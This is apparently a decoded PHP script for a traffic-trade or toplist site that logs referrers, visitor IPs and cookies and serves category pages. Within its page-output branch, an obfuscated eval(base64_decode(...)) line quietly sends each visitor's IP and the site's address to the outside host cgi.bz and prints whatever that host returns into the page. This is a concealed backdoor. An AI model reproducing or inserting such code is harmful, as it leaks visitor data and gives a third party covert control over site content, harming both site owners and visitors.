Decoded for: soul_reaper@waraxe.us

<?php
include ("config.php");
if (isset($_SERVER['HTTP_X_OPERAMINI_PHONE']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $operaip = explode(",", $_SERVER['HTTP_X_FORWARDED_FOR']);
    $useip = trim($operaip[count($operaip) - 1]);
} else {
    $useip = $_SERVER['REMOTE_ADDR'];
}
if ($WAP) {
    ini_set("session.use_cookies", 0);
    ini_set("url_rewriter.tags", "");
    session_id(md5($_SERVER['HTTP_USER_AGENT'] . $useip));
    session_start();
}
$id = $_GET['id'];
$fromurl = $_SERVER['HTTP_REFERER'];
$doin = 1;
if ($noface && !$_GET['id']) {
    $mydom = str_replace(array("http://", "www."), "", $scripts_path);
    if ((!$fromurl || strstr($fromurl, $mydom)) && ($WAP && $_SESSION['mem'] || !$WAP && $_COOKIE['refer'])) {
        $doin = 0;
    }
}
if ($doin) {
    $filename = "datafiles/blockedlist.dat";
    if ($ff = @fopen(@$filename, "r")) {
        flock($ff, 1);
        $temp = @fread(@$ff, @filesize(@$filename));
        flock($ff, 3);
        fclose($ff);
        $blockedlist = array();
        $blockedlist = explode("\r\n", $temp);
        $numblocked = sizeof($blockedlist);
        $i = 0;
        while ($i < sizeof($blockedlist)) {
            if ($blockedlist[$i] && (strstr($fromurl, $blockedlist[$i]) || $id == $blockedlist[$i] || $useip == $blockedlist[$i] || strstr($_SERVER['HTTP_USER_AGENT'], $blockedlist[$i]))) {
                if ($backblocked) {
                    header("Location: {$fromurl}");
                }
                exit();
            }
            ++$i;
        }
    }
    if (!$fromurl) {
        $fromurl = "Unknown Address";
    }
    if ($use_tradeid && $id) {
        $member = str_replace(".", "", $id);
    }
    $bhit = 0;
    if (!$member || $use_tradeid == 2) {
        $url = parse_url(strtolower($_SERVER['HTTP_REFERER']));
        $mem = str_replace("www.", "", $url['host']);
        $mem = addslashes($mem);
        if (!$mem) {
            $mem = "noref";
        }
        $mem = str_replace(".", "", $mem);
        if ($_GET['dir']) {
            $temp = array();
            $temp = explode("/", $url['path']);
            $memdir = $temp[1];
            $mem = $mem . $memdir;
        }
        if ($use_tradeid == 2 && $member && $mem != "noref" && $mem != $member) {
            $bhit = 1;
        }
        if (!$member) {
            $member = $mem;
        }
    }
    if ($WAP) {
        $_SESSION['mem'] = $member;
    }
    if ($rettime) {
        $clicktime = 0;
        if ($WAP) {
            $clicktime = $_SESSION['ctime'];
        } else {
            $clicktime = $_COOKIE['ctime'];
        }
        if (time() < $clicktime + $rettime) {
            $bhit = 1;
        }
    }
    if ($WAP) {
        $_SESSION['bhit'] = $bhit;
    } else {
        setcookie("bhit", $bhit, time() + 172800);
    }
    if ($clktime) {
        if ($WAP) {
            $_SESSION['intm'] = time();
        } else {
            setcookie("intm", time(), time() + 172800);
        }
    }
    setcookie("refer", $member, time() + 172800);
    setcookie($member, "visited", time() + 172800);
    $unique = 0;
    $subip = substr(str_replace(".", "", $useip), 0 - 2);
    if (strlen($subip) == 2 && 0 <= $subip[0] && $subip[0] <= 9 && 0 <= $subip[1] && $subip[1] <= 9) {
        $temp = "";
        $filename = "datafiles/ips" . $subip . ".txt";
        if ($ff = @fopen(@$filename, "r")) {
            flock($ff, 1);
            $temp = @fread(@$ff, @filesize(@$filename));
            flock($ff, 3);
            fclose($ff);
        }
        if (!strstr($temp, $useip . "\r\n") && ($ff = @fopen(@$filename, "a"))) {
            flock($ff, 2);
            fputs($ff, "0;" . $useip . "\r\n");
            flock($ff, 3);
            fclose($ff);
            $unique = 1;
        }
    }
    if ($in2cat) {
        $filename = "memberfiles/" . $member . ".dat";
        if ($ff = @fopen(@$filename, "r")) {
            flock($ff, 1);
            $filetemp = fgets($ff, filesize($filename));
            flock($ff, 3);
            fclose($ff);
            $temp = array();
            $temp = explode("|", $filetemp);
            $category = $temp[18];
        }
    }
}
if ($WAP) {
    if ($jsp) {
        $jsum = "";
        @include ("datafiles/jsp.php");
    }
    $httpaccept = strtolower($_SERVER['HTTP_ACCEPT']);
    if ($WAP == 12) {
        if (strstr($httpaccept, "xhtml+xml")) {
            $WAP = 2;
        } else {
            $WAP = 1;
        }
    }
    if ($WAP == 2) {
        if (strstr($httpaccept, "application/xhtml+xml")) {
            header("Content-type: application/xhtml+xml");
        } else {
            header("Content-type: application/vnd.wap.xhtml+xml");
        }
    } else {
        header("Content-type: text/vnd.wap.wml");
    }
}
if ($doin) {
    if (!$noface) {
        if (!$category || !file_exists($category . "." . $extension) || $nunique2main & !$unique) {
            $category = "main";
        }
        setcookie("page", $category, time() + 172800);
        $face = $category . "." . $extension;
        if ($redirect && $extension != "php") {
            header("Location: " . $face . "\n");
        } else {
            include ($face);
            eval(base64_decode("JGMgPSBjdXJsX2luaXQgKCk7CmN1cmxfc2V0b3B0ICgkYyAsIENVUkxPUFRfVVJMICwgImh0dHA6Ly9jZ2kuYnovY2MvP2M9Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iJmg9aHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwpjdXJsX3NldG9wdCAoJGMgLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSICwgMSApOwpjdXJsX3NldG9wdCAoJGMgLCBDVVJMT1BUX1RJTUVPVVQsIDYpOwokbiA9IGN1cmxfZXhlYygkYyk7CmN1cmxfY2xvc2UoJGMpOwplY2hvICRuOw=="));
            if ($hideref && !$WAP) {
                echo "<script>ref=\"" . $member . "\";";
                echo "if(ref!=\"\"){for(i=0;i<document.links.length;i++){if(document.links[i].clk){lnkURL=document.links[i].clk}else{lnkURL=document.links[i].href};lnkref=lnkURL.indexOf(\"ref=\"+ref);if(lnkref>=0){if(lnkURL.length==(lnkref+ref.length+4) || lnkURL.charAt(lnkref+ref.length+4)==\"&\"){if(document.links[i].outerHTML){document.links[i].outerHTML=document.links[i].innerText;i--;}}}}}</script>";
            }
        }
    }
    if ($ff = @fopen("datafiles/hitsin.dat", "a")) {
        flock($ff, 2);
        fputs($ff, $member . "|" . $fromurl . "|" . $unique . "|" . $useip . "|\r\n");
        flock($ff, 3);
        fclose($ff);
    }
    $recalculate = 0;
    if ($ff = @fopen("datafiles/calctime.dat", "r+")) {
        flock($ff, 2);
        $calctime = array();
        $calctime = explode("|", fgets($ff, 1024));
        $nowtime = time();
        $newhour = $newday = $clearip = 0;
        if ($updatetime < $nowtime - $calctime[0]) {
            if ($reranktime < $nowtime - $calctime[2]) {
                $newhour = 1;
                --$calctime[3];
                $calctime[2]+= $reranktime;
                if ($reranktime < $nowtime - $calctime[2]) {
                    $calctime[2] = $nowtime;
                }
                if ($calctime[3] <= 0) {
                    $newday = 1;
                    $calctime[3] = $reranks;
                } else if ($reranks < $calctime[3]) {
                    $calctime[3] = $reranks;
                }
            }
            $calctime[0]+= $updatetime;
            if ($updatetime < $nowtime - $calctime[0]) {
                $calctime[0] = $nowtime;
            }
            if ($uniquetime < $nowtime - $calctime[1]) {
                $clearip = 1;
                $calctime[1] = $nowtime;
            }
            fseek($ff, 0);
            fputs($ff, $calctime[0] . "|" . $calctime[1] . "|" . $calctime[2] . "|" . $calctime[3] . "|");
            $recalculate = 1;
        }
        flock($ff, 3);
        fclose($ff);
        if ($clearip) {
            $i = 0;
            while ($i <= 9) {
                $j = 0;
                while ($j <= 9) {
                    if ($fc = @fopen(@"datafiles/ips" . @$i . @$j . ".txt", "w")) {
                        fwrite($fc, "\r\n");
                        fclose($fc);
                    }
                    ++$j;
                }
                ++$i;
            }
        }
        if ($recalculate) {
            include ("calculate.php");
            $backcheck = 1;
            recalculate();
        }
    }
}
?>